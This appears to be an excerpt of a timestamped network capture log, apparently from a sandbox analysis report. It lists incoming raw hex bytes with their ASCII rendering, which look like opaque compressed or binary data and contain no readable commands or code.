2023-05-31 10:22:22 UTC	3141	IN	Data Raw: f7 9e 7b ef b9 93 21 26 98 a1 c7 df 8f 78 be ef 9c bb ce dd fe ff 7b e6 8c f8 25 f8 21 c7 4b f0 43 ec 9b e1 6b aa 1a 2a 81 a3 47 a7 ce 80 0c 43 4b ed 15 b8 96 7b 0b 50 b9 77 35 46 94 23 77 78 73 6b 88 32 26 15 77 75 36 ec c4 dc b5 44 b9 90 36 9c 93 6e 32 75 cd d8 c4 62 ea 2d fa 86 07 cf 93 4c 2d 99 5a 32 b5 64 6a c9 d4 92 a9 25 53 4b a6 96 4c 2d 99 5a 32 b5 64 6a c9 d4 67 99 a9 dd 29 da 5b a4 d3 f6 57 6f a0 ef cc bb 20 53 87 34 a6 2e 87 cc 16 1b 53 63 ae 39 dd ca d4 3e 93 a9 bf 6f 30 35 36 8c 70 4c bd 7f 5c 62 31 f5 3b fa 86 e7 8c 90 4c 2d 99 5a 32 b5 64 6a c9 d4 92 a9 25 53 4b a6 96 4c 2d 99 5a 32 b5 64 6a c9 d4 5d 86 a9 63 51 b4 77 89 ce db 3b 4a f0 2e f8 79 31 75 b3 c6 d4 9b 71 10 33 1b 53 63 2e 3f c3 ca d4 aa c9 d4 a1 0c c6 d4 d8 b0 25 c3 64 ea ee 17 Data Ascii: {!&x{%!KCk*GCK{Pw5F#wxsk2&wu6D6n2ub-L-Z2dj%SKL-Z2djg)[Wo S4.Sc9>o056pL\b1;L-Z2dj%SKL-Z2dj]cQw;J.y1uq3Sc.?%d
2023-05-31 10:22:22 UTC	3157	IN	Data Raw: e9 44 df 3e 2f 9d 68 b3 0b d2 89 0e bf 20 9d e8 8b 17 a4 13 b5 5e 54 b4 e7 df ea aa 5d 02 f5 6d 17 71 69 ae 5f 97 40 bd 16 ec 99 60 09 d4 b1 26 53 c0 04 ea ae 34 81 7a 97 8b 6d 2d e9 f2 18 74 d1 b6 96 90 47 91 cc e2 5c 14 a8 6d ad 96 0c 8d bf f6 05 60 85 22 c2 78 ed 4e a8 75 79 38 79 0c c9 c3 9c 8c 31 9b e8 f3 44 c8 3e 66 14 e1 a8 74 d5 2a 81 3a e3 90 cd db 9f 26 50 ab e5 47 b8 2b db 5f 97 42 bd 0c 2a f1 03 ae eb 05 e2 ba ce 2c ae 77 ab 7a 1c 20 5d 4e c8 ce 6b e4 31 9b f7 34 2c aa cb 44 3f b7 8f 95 ca 15 dd 3e 36 c3 db c7 86 bf c9 ed a3 1b a4 4e c2 f0 c1 74 ed f6 d1 1b ec f6 71 92 74 fb b8 ce ef ed 63 82 fe f6 31 c1 78 fb 98 60 bc 7d 4c 30 de 3e 26 c8 b7 8f c9 86 db c7 e4 90 6e 1f f3 c5 ed e3 62 dd ed e3 56 6a 5c b3 13 56 4c d7 63 70 86 1d 9d c9 f7 2d f5 Data Ascii: D>/h ^T]mqi_@`&S4zm-tG\m`"xNuy8y1D>ft:&PG+_B,wz ]Nk14,D?>6Ntqtc1x`}L0>&nbVj\VLcp-
2023-05-31 10:22:22 UTC	3159	IN	Data Raw: 68 8e 14 f2 d9 a9 9a 7c ad 6a 15 5d f2 5c 27 45 97 fa 5c c7 1d a9 56 3a 47 0a 25 4f 06 96 3d 05 74 ae c6 9f 23 d5 2f c6 af 23 d5 0f 3a 6e c6 8e 23 62 b4 1f ac 08 10 5d 32 e1 1f 2e b1 97 41 a3 f9 e8 48 35 6f c4 c2 26 d7 01 c3 d9 9d 93 23 91 1c c2 c9 e3 48 de c0 c9 eb d1 85 74 e1 cf 5e b8 85 04 b7 e8 ed 16 3d dd a2 57 2d a2 4b 4f fd ce d1 a5 56 c4 91 0a 65 0d bf 6f 74 69 7a 8d cd 9b 18 d0 91 1a 2a 47 97 16 69 8e 54 4b 82 97 5f 4e be 3a f0 72 dc d8 d0 11 33 e5 9c cd 3b 0e 16 73 fb f4 df 39 ba a4 87 c8 5b af 04 22 31 da 84 36 6c 58 99 06 91 8f 04 83 c8 d9 12 44 6e f5 0b 91 9d f4 10 d9 c9 08 91 9d 8c 10 d9 c9 08 91 9d ea 32 da f4 b0 80 c8 75 3a 88 7c 5f 8e 36 51 90 c4 16 ec 20 4d 3e 0f 03 c9 9b 83 45 9b ee 68 29 45 9b 26 b4 e4 20 e9 d1 81 24 4a 5e 05 2c fb 6a Data Ascii: h\|j]\'E\V:G%O=t#/#:n#b]2.AH5o&#Ht^=W-KOVeotiz*GiTK_N:r3;s9["16lXDn2u:\|_6Q M>Eh)E& $J^,j
2023-05-31 10:22:22 UTC	3175	IN	Data Raw: 96 94 bb 64 b5 c4 7e 9e 37 55 97 1b e8 16 d4 d5 16 54 9e ed 75 63 87 8d 4a 8c 36 23 f6 27 da 2d e4 7b 32 6f 68 94 f7 0f dc 66 6c 92 b8 cd ef 49 b4 b9 6d 95 d9 e6 f7 24 da 7c c3 2a cc 6c c8 a1 8d f7 51 2e 05 cb fb fb 12 cd c2 33 1c ac f0 66 4e 4f a5 cc 87 9c 79 87 30 53 57 9a b9 94 16 6a ff 56 b4 3f cf 6c ff 97 12 a2 2d a4 02 31 6d 2d 49 83 96 64 e7 99 9b 90 6a bb 18 f7 94 01 f5 41 94 81 74 b6 b7 34 53 23 f7 48 ed bd 3c c3 40 f6 48 bf 81 ec 61 b1 cb cc a7 55 8f f2 03 aa 2a ee 35 95 ce f6 d6 75 20 1c 91 dc cb 12 a8 6d 9b 5a 55 1e 93 6c 30 f5 2b ea 9a 5b c9 6b 6b 10 f2 71 89 4a e0 ba ec 53 65 2b 7d a9 55 66 8a d6 8b 8e b6 e5 64 b3 4f 31 32 b4 0e df 86 85 6d 6e ed f4 c0 ca 76 49 0d fb 6a 63 1c ec 92 3c 0e 78 7a d9 c5 52 88 f1 9d 5d 75 1d 5d 96 41 b4 85 15 a7 Data Ascii: d~7UTucJ6#'-{2ohflIm$\|lQ.3fNOy0SWjV?l-1m-IdjAt4S#H<@HaU5u mZUl0+[kkqJSe+}UfdO12mnvIjc<xzR]u]A
2023-05-31 10:22:22 UTC	3191	IN	Data Raw: 68 f7 f7 1d 16 a4 56 09 6d be 42 47 cf f2 d3 7d a2 2c 31 45 29 df bf 28 09 ca 6a df 40 13 34 52 65 67 b8 c9 6c 73 a4 af 1a b4 fa 01 b5 d7 12 a7 a5 6c f2 9a 7d 19 3c 9d 48 c6 a2 f0 49 01 4c b4 c3 91 08 a1 9d b1 c9 d0 f4 24 7c 64 10 1a 47 72 6d 95 d5 57 43 96 3e d9 98 00 a9 8b 0c 2d 42 21 29 fb c4 1a ae 84 0d fd 86 6b d7 ea 85 61 00 9e e1 26 bf c7 c8 f0 a3 50 9a 87 96 92 d5 98 0b 8f 31 ce fd aa ef a9 c3 9c 3d a4 9c e7 c7 30 ad 1d bb 79 9d 25 7f c6 62 93 13 e1 78 94 2d 8c c0 32 4f 72 07 92 4f e6 26 cc b7 57 d2 e5 72 8e 7b 4d 8d 70 e0 16 f6 e0 2b 9b cb e4 9b d6 1b 9b 18 f5 35 14 cf 65 e9 e4 23 92 3b b8 f9 76 75 7c aa ce 56 ae 38 28 09 c0 9c 36 49 ba c2 e5 e4 53 c8 26 eb a7 e2 b1 29 58 45 58 71 b3 1d 18 a2 ab 0c 2b c6 5d da 24 0b e9 37 c4 48 74 7b d8 4e 20 ed Data Ascii: hVmBG},1E)(j@4Reglsl}<HIL$\|dGrmWC>-B!)ka&P1=0y%bx-2OrO&Wr{Mp+5e#;vu\|V8(6IS&)XEXq+]$7Ht{N
2023-05-31 10:22:22 UTC	3193	IN	Data Raw: 4c 2a 1f f8 ea 91 3f 4a 4c 2e b0 2f a7 dd 62 ab 90 20 be cd f7 4d 1d b6 08 09 e2 db 39 58 2c 24 88 ef 60 14 8b 90 20 be 93 01 62 21 41 7c 17 e7 b3 9d 90 20 be 9b 23 09 84 04 f1 b7 39 dc 56 48 10 1f 68 c0 52 84 04 f1 3d 1c 67 71 21 41 7c 2f 47 6f 42 48 10 df c7 f1 4d 42 82 f8 7e 0b 26 08 f0 a0 85 64 15 12 c4 0f 58 49 b6 42 82 f8 1f 2c 64 5e 48 10 7f a7 81 5f 9a e8 1b fe 47 be fa 98 85 04 f1 83 7c a6 36 23 24 88 1f 6a ca 85 49 48 10 3f 6c 89 6b 03 21 41 fc 88 7d ca 04 42 82 f8 51 8e 2e 16 12 c4 8f f1 d5 54 2c 24 88 1f b7 c6 51 24 24 88 9f e0 fd 5a 4c 48 10 3f c9 b1 1b 08 09 e2 ef 9a ab b7 ee c5 f7 cc 90 a0 f6 7d df cc 31 08 09 e2 a7 cc b0 8d 90 20 fe 81 99 28 aa 53 3f e4 48 26 21 41 fc b4 05 33 09 09 e2 67 78 86 49 48 10 3f cb 81 36 42 82 f8 47 1c c7 2a 24 Data Ascii: L?JL./b M9X,$` b!A\| #9VHhR=gq!A\|/GoBHMB~&dXIB,d^H_G\|6#$jIH?lk!A}BQ.T,$Q$$ZLH?}1 (S?H&!A3gxIH?6BG$
2023-05-31 10:22:22 UTC	3209	IN	Data Raw: ad c2 91 b1 50 ed 26 92 6f 53 54 a0 d3 49 76 a0 a3 9e e9 74 92 27 b9 96 40 a7 93 ec c4 93 a5 9e eb 74 92 5d 78 ba d4 1b 75 3a c9 f5 b2 4b 74 9d 4e f2 64 d7 ae e9 74 92 a7 1c 60 69 76 55 a7 93 3c 15 4f de 7a 83 de 32 f9 f0 6b 1f 58 c1 93 08 c4 3a f6 61 38 14 36 a9 71 9c 99 d6 9f 51 b7 e2 ee 98 e4 7c c9 c2 f1 48 79 2f b7 ad c7 0d 10 9d be d8 b0 03 67 e8 71 83 88 31 70 0a 94 12 99 15 32 b9 91 92 09 18 a8 23 1d 2c 35 c8 e8 6c 8a a1 69 b2 2b a5 49 d5 3d 06 a9 5a 29 a5 49 d5 cb 09 2d a5 34 a9 29 34 53 6a a5 94 26 35 15 53 76 ad 94 d2 a4 1a 30 1b 4c 6c 3c b7 5e 70 dc 73 d3 11 09 2a 35 95 3d 17 05 1e 68 9f 2a 9f 82 87 34 16 ce 0f eb fe 10 b8 43 1a 0b 67 3b 73 9b 35 16 ce b5 32 24 a4 b1 70 76 48 87 59 63 e1 ec 64 25 47 69 2c 9c eb 58 90 41 63 e1 5c cf fc 91 1a 0b Data Ascii: P&oSTIvt'@t]xu:KtNdt`ivU<Oz2kX:a86qQ\|Hy/gq1p2#,5li+I=Z)I-4)4Sj&5Sv0Ll<^ps5=h4Cg;s52$pvHYcd%Gi,XAc\
2023-05-31 10:22:22 UTC	3225	IN	Data Raw: 62 72 99 00 85 7b 8a 47 80 82 1b 6b 41 80 52 53 21 01 2a 58 ca 09 50 aa 5c 26 40 05 6b 50 02 54 b0 94 13 a0 82 e5 1e 01 2a b3 06 22 40 a9 aa 80 00 a5 0a 65 02 94 ee 4e 82 00 15 5c 0f 8f 00 f5 61 11 7e 32 10 a0 0e a9 5a 12 01 0a 68 64 22 40 1d d2 b4 56 21 40 e9 4c a2 10 a0 c6 54 e2 04 a8 71 a8 31 02 94 d0 53 09 50 6a 19 01 04 28 a6 c8 bf 5e 37 36 01 4a 2d 55 22 40 65 54 e0 04 a8 31 54 18 01 0a 78 58 22 40 09 67 48 04 28 10 ea 54 02 14 3e fb 15 04 28 b8 a3 0e 20 40 29 f6 09 20 40 81 f8 a2 12 a0 84 50 21 40 e1 10 a3 23 40 a9 fb 53 40 80 d2 08 11 01 4a 3d ac 07 04 a8 00 a1 4f 80 f2 0f 59 7c 02 14 7b 42 c0 7f 38 5b 26 40 7d 58 2f f5 08 50 01 62 48 80 0a 50 71 09 50 01 52 99 00 15 a0 e6 13 a0 02 e4 32 01 2a 40 cd 27 40 05 b6 56 10 a0 02 54 30 01 2a a8 1c 9f 00 Data Ascii: br{GkARS!XP\&@kPT"@eN\a~2Zhd"@V!@LTq1SPj(^76J-U"@eT1TxX"@gH(T>( @) @P!@#@S@J=OY\|{B8[&@}X/PbHPqPR2@'@VT0
2023-05-31 10:22:22 UTC	3241	IN	Data Raw: 63 ab 15 3a c2 ec 3d 48 63 e9 8e 79 bc 11 2c 23 c1 8d fa 9e 18 89 67 fc e1 4d cc d8 c9 2e 59 4d ef ad 5f 82 04 1e d2 d3 3d 3e e7 a7 fb bd 9f 13 7e ce 6f 82 6a 0b 5c dc 0b 8b 2d 30 c9 c4 d3 49 d6 9e f5 87 a1 d9 51 05 9e 88 11 26 f6 66 7c 6c b1 d7 43 9b 7c b3 ad 00 d6 49 51 2c f5 c2 f5 c4 94 bd 62 3f 0f 87 34 46 dc 20 86 35 50 a5 4b 7b 17 6f 32 9a 31 6f 6b 80 f4 d7 2d 62 b8 78 ae b9 c1 f5 f2 91 82 83 ed b0 a2 67 f9 65 d6 5c f0 98 f6 58 8d 55 5b 68 01 5e 64 65 77 61 12 96 5f 1b 20 ba b7 8b 7d 24 98 ed 3d 1a f4 f8 db 59 26 f2 03 c8 d5 df 4e 33 3b 60 13 bd 2b 1b 57 9e da 8a 9a b0 a1 73 6a 30 f9 aa b9 11 ed e2 db 3a 01 07 e4 65 0e 93 7b fc cc 72 e4 61 8c 3e c5 a3 ff ea 8f 1d d1 92 a5 cd 0f ed 44 1d ff 60 50 81 cc a8 5d 9c 94 b9 18 b3 5f 11 54 68 91 31 f9 9f 02 Data Ascii: c:=Hcy,#gM.YM_=>~oj\-0IQ&f\|lC\|IQ,b?4F 5PK{o21ok-bxge\XU[h^dewa_ }$=Y&N3;`+Wsj0:e{ra>D`P]_Th1
2023-05-31 10:22:22 UTC	3255	IN	Data Raw: df 43 6c 91 17 0e 2f 6c 8e 09 87 e3 f1 ed 42 e1 8f 8b e1 f1 d3 84 bf 6c 7b 89 03 07 cc 90 4f 00 ff 14 25 80 63 61 84 00 fe ab 06 08 c1 55 62 97 7c 02 f8 61 88 0c 01 1c 30 47 a1 d6 24 56 c6 10 a8 9d f1 09 d4 e0 18 02 35 39 a1 06 2b 3f ec 29 38 9f 6d cf f9 ce f6 6c f1 6d 4f 59 61 d5 0e c5 df 2d 0f d9 9e 2d be ed b1 04 f0 4f 2d 14 82 a9 32 04 f2 09 e0 7f 49 09 e0 c0 20 c8 27 80 5f ac d7 16 df 7a 59 02 1d 13 19 02 cf 54 59 02 cf 54 6d f1 4d 95 25 f0 4c d5 16 df 54 59 02 f8 9f e8 2c 04 4f 38 53 65 09 3c 53 b5 c5 37 55 96 c0 33 55 5b 7c 53 65 09 74 74 64 08 d6 8a a9 f2 09 e0 ff 48 09 e0 10 5b 65 09 3c 5b b5 c5 b7 55 96 00 fe 4e dd 84 a0 93 b3 55 96 a0 49 06 4b 86 c0 33 4c 96 c0 33 4c 5b 7c c3 64 09 de 90 01 94 21 d0 11 94 4f a0 03 29 43 a0 23 29 9f 00 fe ed 7a Data Ascii: Cl/lBl{O%caUb\|a0G$V59+?)8mlmOYa--O-2I '_zYTYTmM%LTY,O8Se<S7U3U[\|SettdH[e<[UNUIK3L3L[\|d!O)C#)z
2023-05-31 10:22:22 UTC	3271	IN	Data Raw: 9a 0f c5 3a 44 24 9f ef df 0e bb 5d 8a 47 6f 91 89 1d 50 95 a9 f8 c4 0e b8 11 a9 36 26 76 c8 5c 93 2a 4f 35 bf a9 c3 f7 7c ed 03 b9 ff 7a b5 64 a9 28 d0 57 94 e0 77 44 ca 45 39 42 86 3d 36 0a 3c 53 0c 42 de 53 4e 91 92 38 1e 9a fc ee a2 77 d4 d8 31 fe e4 b7 c9 76 8d 0b ef 70 a7 06 d6 2a c2 f9 2a 13 bf 2a b9 62 91 3d c2 3a 87 d8 47 33 87 a3 25 c5 50 78 94 ad 33 dc f0 5d 12 38 65 79 44 94 e5 12 a9 0d 92 26 c0 43 81 b4 da 87 24 f9 28 bd 8a 2c 8a f7 53 7e 9b 45 fd 76 ac 04 a4 74 1a df 6b 35 33 25 0b 50 3a 24 fb 78 20 fb c5 e0 f8 2b e7 6d 8a 8d 66 95 0e bf 2b 45 e9 6e 0d f8 1e 5e d3 b5 05 7c 39 2a 66 6d 73 52 7c 2b 2d d9 a4 e5 04 ce 15 bd 04 7c da b4 a7 e6 a0 ea 50 dd 7b 03 cc ab 46 f1 56 a7 0b 1d 1a a8 8f 24 22 e0 c0 bc f0 96 83 c3 25 1f 1d 70 fb 3a 9b 4a 64 Data Ascii: :D$]GoP6&v\O5\|zd(WwDE9B=6<SBSN8w1vp*b=:G3%Px3]8eyD&C$(,S~Evtk53%P:$x +mf+En^\|9fmsR\|+-\|P{FV$"%p:Jd
2023-05-31 10:22:22 UTC	3287	IN	Data Raw: 8b 4c c7 41 a6 7d 72 90 69 1f 95 e9 d5 3f b8 4c 27 e5 20 d3 53 87 aa 4c 07 95 72 2b 0a ff 20 d3 5d f6 57 99 4e cc 28 d3 7f f6 51 99 1e 1a 9f c0 06 32 f7 cc 41 a6 7f a8 50 99 fe 36 a3 4c c7 e6 20 d3 2d 39 c8 74 ef 2c 32 3d 8e 12 59 d7 3f 87 f7 3b fd 55 a6 1b 70 a3 5b 98 66 1b f7 a7 97 8c 54 79 4d eb ca b7 9e 84 7f 90 d7 f2 03 54 5e 17 67 94 d7 fe db ab bc 4e 8e bf e4 08 64 ee 99 83 bc ae d9 53 e5 85 dd 13 f1 e4 f0 1d d9 ee 29 fd 8e 2c fe 6d 13 7e 90 e9 e4 1c 64 8a fd 7e d9 fa dc 74 16 99 4e c3 5c 66 64 0e 73 99 91 2a d3 f7 f2 a2 6b 32 db ba 9d 9e 68 db 69 49 62 d9 21 f7 ad 47 aa dc 37 75 c9 64 7b 3b 1e a4 72 3f 2a a3 dc af da 49 e5 5e 15 17 68 20 f3 d3 1c e4 be cf 5e 2a f7 33 33 b6 d3 96 1c 64 da d2 21 7b 7f 7a 4a 16 99 ce a1 44 9a f6 cf 61 af c8 fe b6 9d Data Ascii: LA}ri?L' SLr+ ]WN(Q2AP6L -9t,2=Y?;Up[fTyMT^gNdS),m~d~tN\fdsk2hiIb!G7ud{;r?I^h ^*33d!{zJDa
2023-05-31 10:22:22 UTC	3303	IN	Data Raw: b4 10 be 58 56 54 34 5f ca 59 76 77 f9 2c e9 8e b9 f9 73 f9 0f 4a be c6 7d 8d fb ff 80 fb fa f9 bf 7f 9e a9 10 bf a5 9c 6c 40 0e ea eb 01 51 40 cf d5 8c 65 5f c3 58 59 16 63 2d 80 83 80 7e c0 bf 02 ef 2c 41 db b5 8c 55 01 7a 01 d2 75 8c bd 7b 3d 63 87 c1 77 14 f0 3a e0 1d 80 0e 18 02 98 7d 8c b9 00 37 01 6e 03 14 02 56 01 d6 d1 0f 1d 61 41 1a 33 33 0b b3 b2 74 36 81 d9 d8 44 96 c1 26 31 3b ed 54 c1 60 d3 9c 3c b1 51 6d ac ac 79 78 23 ad a7 f8 dc e4 97 83 54 c7 67 bd bf be b2 69 fb 48 a5 1e 1b c8 48 ad 69 54 5b d0 2f 1b 15 be 69 a5 4a 1c 41 6c 0a f9 02 55 1c 93 c2 1c 94 03 58 6a 53 2a a9 2d 0d a3 9a 1a 92 6d 7f a1 4f 49 d3 c8 f7 11 59 fc 6e b5 22 05 97 15 42 1c 00 77 30 05 b7 1b b8 1d 9b c7 97 d7 0b fc 45 40 46 40 d4 25 94 f3 00 25 80 2a c0 23 80 28 60 2f Data Ascii: XVT4_Yvw,sJ}l@Q@e_XYc-~,AUzu{=cw:}7nVaA33t6D&1;T`<Qmyx#TgiHHiT[/iJAlUXjS-mOIYn"Bw0E@F@%%#(`/
2023-05-31 10:22:22 UTC	3319	IN	Data Raw: 84 98 85 ee 0e 91 db 14 e7 1c f7 39 72 2c 37 0b 4b ba 59 e8 3e 2f ea 1e 4e 12 8e fb 02 39 89 9b 85 a5 44 61 73 77 92 65 dc 2c 2c 25 66 a1 fb 22 59 ce cd c2 52 62 16 ba 2f 89 db 3b 4b 8a 59 e8 ee 22 d7 0a b3 b0 a8 99 85 ee 5d e4 15 97 9f a6 d7 a3 df 6d 98 59 48 11 b3 d0 5d 43 a6 16 f8 99 4a 4f f6 3d a4 c6 cd c2 52 d6 ed 5a 71 5e 3d a7 a8 9b 85 ee bd e4 7d 8e 24 4a b3 d0 5d 4f ae e1 9d 49 b3 d0 7d 80 bc 29 66 42 66 16 ba 0f 8a 88 5b 92 66 a1 bb 41 84 a2 4d c4 fd b8 1b c9 11 51 37 e5 c0 7d 94 fc 26 d9 39 4e 14 ba 8f 89 9b 51 67 69 e0 71 f2 3e 37 0b e3 49 f7 84 18 ee d6 92 34 0b dd 27 45 a8 3d 1a 94 bf e7 ee 99 b7 53 fc e6 53 a2 9d 45 83 d8 1e fd 74 b4 37 67 16 b6 f3 23 9b 29 1b b4 df 1a dd 5e 28 6f 27 82 65 8b c7 63 2d e2 5e d6 e2 fd 4e fc fe 0e 66 16 7a e7 Data Ascii: 9r,7KY>/N9Daswe,,%f"YRb/;KY"]mYH]CJO=RZq^=}$J]OI})fBf[fAMQ7}&9NQgiq>7I4'E=SSEt7g#)^(o'ec-^Nfz
2023-05-31 10:22:22 UTC	3335	IN	Data Raw: 66 5f 47 29 81 cc cd 5e 77 0a cf 68 c9 dc ec 9b a8 42 24 73 b3 cb 67 a1 71 22 93 b9 d9 63 28 eb 93 b9 d9 65 b3 d1 aa a9 64 6e f6 00 ca 6b c8 dc 6c fd 1c 34 47 95 cc cd 5e 3d 47 d8 3e 21 99 9b 7d 09 25 14 32 37 bb e8 54 7c 7a 14 93 b9 d9 3f a1 94 4a e6 66 af 3d 2d 3c 03 ad 90 b9 b9 3b d0 96 0b c8 dc dc 5a 53 8d b6 1b b9 49 96 1a 0e f6 41 ee 28 4a 2a 64 6e ee 8c 98 d8 34 fc 1c 95 bb 49 ca f0 8f c5 39 2f 2e a4 fc 97 7e ee b8 1f 8e 20 73 73 c7 6d 78 2f 23 e7 f9 af 03 bc eb e7 fd 6e 7d df 36 37 de 11 e6 46 c9 dc dc 57 c4 a0 48 e6 e6 1e 4e 8a 59 89 cc cd 6d 4f e9 f2 02 99 9b 2b a6 75 35 ec 4d 6f ee 2d 6d 32 68 fa 46 8d 2e cb b6 dd 4e 74 4a 38 24 73 73 b7 a0 b3 c1 88 cc cd bd ad 8d 93 5d 3e 19 9d ec 45 64 6e ee 88 14 f7 c9 dc dc 65 f5 ba 7a ff e5 9f 7b 17 65 31 Data Ascii: f_G)^whB$sgq"c(ednkl4G^=G>!}%27T\|z?Jf=-<;ZSIA(J*dn4I9/.~ ssmx/#n}67FWHNYmO+u5Mo-m2hF.NtJ8$ss]>Ednez{e1
2023-05-31 10:22:22 UTC	3351	IN	Data Raw: fe a4 ba 4e a4 04 aa f3 3a a6 f3 b9 1e 7d 8d bd c9 50 cc d0 b9 bd 0d 95 da 84 88 be 1d 83 ad 1d 2c a8 db 30 bb 57 99 af c0 b6 74 19 37 7b b5 7c 5e 29 e4 61 5b c0 d8 97 16 e8 83 a4 c2 70 db a0 1b 57 de ed f0 d7 53 cb 2f 2a 39 7c 40 4b ad f3 65 eb 36 7b a0 8e f1 04 6b 0d e2 84 65 08 d6 30 84 3f 6d ce 20 fe 08 ce 00 fe b4 3b 65 09 7f d7 39 43 f4 77 bd 93 2e 74 f0 cb 30 ce 60 34 11 08 88 ec 83 28 40 e8 70 1e 63 17 9d 4e fc 56 85 9a e8 72 4a b0 de 9e 61 09 a7 33 2a 4e fa 83 b3 2c d5 ed e4 27 37 58 2f d2 45 66 12 53 b0 3a 84 84 0c 5e 1a a7 d2 61 39 18 86 21 4f 5d 9f bb 9c 38 bb 84 25 fc 0a 05 82 5b 58 55 66 e8 a4 43 39 7a 9c fa a5 db 29 4e f1 50 af 33 10 57 35 f6 38 f1 eb 35 3a e2 75 c6 62 aa a2 3e 4d 17 1d ec e3 14 d2 89 5b 55 ad 74 42 bf 4a c0 15 35 25 6c 73 Data Ascii: N:}P,0Wt7{\|^)a[pWS/9\|@Ke6{ke0?m ;e9Cw.t0`4(@pcNVrJa3N,'7X/EfS:^a9!O]8%[XUfC9z)NP3W585:ub>M[UtBJ5%ls
2023-05-31 10:22:22 UTC	3367	IN	Data Raw: 5e f3 5e 77 bd d2 11 f4 fa 88 a9 57 de 2b f8 e3 b0 8e d1 38 16 41 af 63 6f a0 bf 86 22 e8 75 b3 d2 2b df 87 af 66 b5 66 2a 27 4c 90 32 07 c8 33 c6 32 ef 8c 20 f3 67 b4 cc 7e 91 df 14 99 f7 44 90 f9 9f b4 cc 85 80 66 e1 d4 97 49 99 4b e4 67 a5 17 3c 3b c5 5f 57 bd f6 45 d0 eb 5f 0c bd 72 a9 24 69 17 90 0b d3 11 f4 4a 2b bd b6 3a af 77 bb 78 3c 82 5e 5f b7 f4 a2 fe ba 94 d1 18 89 a0 d7 88 d2 0b 26 3c 5f 5f 7f 3d 1b 41 af 27 4c bd fa a8 c3 d6 33 1a 75 15 a5 f5 42 1c e0 f5 95 18 3e 9f bc 7e 7a 1d 8f a0 d7 53 b6 5e c4 61 5d 8c c6 b3 13 4b eb 85 38 6f 4c 7e 4e c4 4b eb f5 33 a5 d7 20 49 d0 52 e6 ca ca 37 2e d7 4d 8b 20 f3 0b 86 cc 61 7d ca 1b 29 f3 b9 11 64 7e 4d c9 6c ac 28 25 71 46 25 73 39 c5 89 28 33 3c d1 c3 73 3c 3e d1 3f d0 e2 1f 87 43 81 27 7a 78 8e c7 Data Ascii: ^^wW+8Aco"u+ff*'L232 g~DfIKg<;_WE_r$iJ+:wx<^_&<__=A'L3uB>~zS^a]K8oL~NK3 IR7.M a})d~Ml(%qF%s9(3<s<>?C'zx
2023-05-31 10:22:22 UTC	3383	IN	Data Raw: 70 3e 13 e9 fd ea fb e9 fd ea 42 f4 c6 84 a3 97 ce ff 51 97 51 6f 48 f8 ae 6a 95 ef bc aa bb 5a 13 06 ae 21 38 9f 2f f6 a1 b3 79 50 7a 79 27 1a 88 4d c1 03 be 42 e0 7c b1 e3 75 32 35 f1 32 02 2d 0c 5f ba 2d 09 4f b9 92 66 39 3f 1e cd 24 48 25 b7 95 27 fe 0c 94 08 79 36 1d 22 e9 da 25 c9 3f af af 3e b4 be ef 42 eb 2b 08 57 5f 84 58 df 77 81 f5 fd f1 34 af 4f 1b 54 9f 68 5f 7b 54 9f 72 9d 38 17 35 6f 9b be c0 35 04 2b 2e 2d d7 8e 50 70 01 94 5a ac 2f 77 2f 42 d7 35 6d ca b9 e7 a3 ce 1e 2a 25 0f f2 50 29 cd fe 43 a5 f1 34 5f 95 22 bf 97 bb 4a 35 df e7 09 7f 9b 1f 63 2f 4d 72 2c c1 1d 80 44 f1 a5 0f 7a 01 d4 79 2e 52 98 e5 1c 54 78 9f 0e 9e 3e bc c3 7e f9 e8 b5 64 0d 95 92 a3 09 14 c2 57 b8 a7 d0 9d 34 14 35 61 e4 d1 a7 87 4a db 38 69 e4 57 ec 39 a9 db 76 a9 Data Ascii: p>BQQoHjZ!8/yPzy'MB\|u252-_-Of9?$H%'y6"%?>B+W_Xw4OTh_{Tr85o5+.-PpZ/w/B5m*%P)C4_"J5c/Mr,Dzy.RTx>~dW45aJ8iW9v
2023-05-31 10:22:22 UTC	3399	IN	Data Raw: e3 5f 73 c8 41 0d bd aa 0e db 18 f5 11 ea 3d 65 08 60 7c ef 39 48 4f ae 2f ab a9 ad c3 64 98 1e 48 7e ae aa 36 59 ea 4d 95 c5 a0 ec eb 2a af a8 c4 31 ac 8d 8f 20 49 bc 10 6e 45 99 b1 a6 ca 5c 55 52 cb b4 09 84 ad ac a9 36 5a ca 60 e6 e1 9b 64 13 8a f8 8e 26 1e a0 50 5a 3a da f1 d5 68 8b c0 26 1a 9e bc 18 93 9f 85 bf d3 71 f7 28 42 a3 6a ea 70 ac 69 b3 b2 08 2d bd c9 9c 22 46 a3 54 c7 00 67 c6 04 2c e0 c4 c5 e2 76 08 6e 08 da 37 da f1 fd ed 36 14 a6 89 0f 7d 70 b1 94 d6 0e 89 6c e2 c3 58 68 b2 b4 6b d8 60 6b 69 64 13 a7 d0 d1 18 79 62 17 9b 38 5d 51 70 09 52 72 f7 c5 32 50 37 87 cd 52 ac 22 d8 1a fa 9b 24 cb 6c 6d ef 6a b5 81 7c 4f bc 84 b2 4b c9 dd be f4 79 94 55 4a ef 6c 59 df 29 00 55 e9 0a 79 35 dd 52 f2 12 c5 1a 19 72 87 bd b3 ad 41 c0 4d 7f 36 31 57 Data Ascii: _sA=e`\|9HO/dH~6YM*1 InE\UR6Z`d&PZ:h&q(Bjpi-"FTg,vn76}plXhk`kidyb8]QpRr2P7R"$lmj\|OKyUJlY)Uy5RrAM61W
2023-05-31 10:22:22 UTC	3401	IN	Data Raw: b1 aa c2 77 68 20 52 75 20 d2 4a ae dd 02 71 ae 94 e3 c0 38 95 a0 a2 3e ab 91 83 71 78 04 e6 36 cb c1 a5 b6 d6 a6 40 70 ad 1c bc c2 7c 79 a1 0d 54 55 1b 7f 8b 25 ae 2e a0 66 3a 99 c7 01 f5 32 40 59 13 2e 21 84 8d 75 b0 22 15 27 b3 15 72 30 5d ed 57 62 b3 4a 56 18 ea 88 95 72 a5 da da 28 38 6c 56 8b 5f 77 5e 15 06 6a 6a 5f eb 47 b8 3a 0c 02 a9 d7 6b 2a 7c b6 48 6d 4d 19 77 d3 c7 ad e2 eb 4c 69 79 1a b4 7a 8d 4f 0d 5c bd 06 ad 5c e3 69 71 3b ab be b0 c6 54 59 57 c1 d7 cb f1 2c 22 7a 29 2c 98 eb 6b 2d a6 8a ea da ab f8 23 19 3f 0a 7c 2a 4b 67 11 f4 9b c9 94 f8 5b 93 c9 54 f4 9b c5 22 f1 17 5d ad f8 5b 8c e4 45 e1 53 91 b9 b6 86 69 28 ad cc 5c 5d 58 6b 5c ce c6 51 f1 35 35 55 35 2c 9a 50 f0 f0 f9 78 7c 02 5a ca 0a 2b 6b 99 16 23 92 33 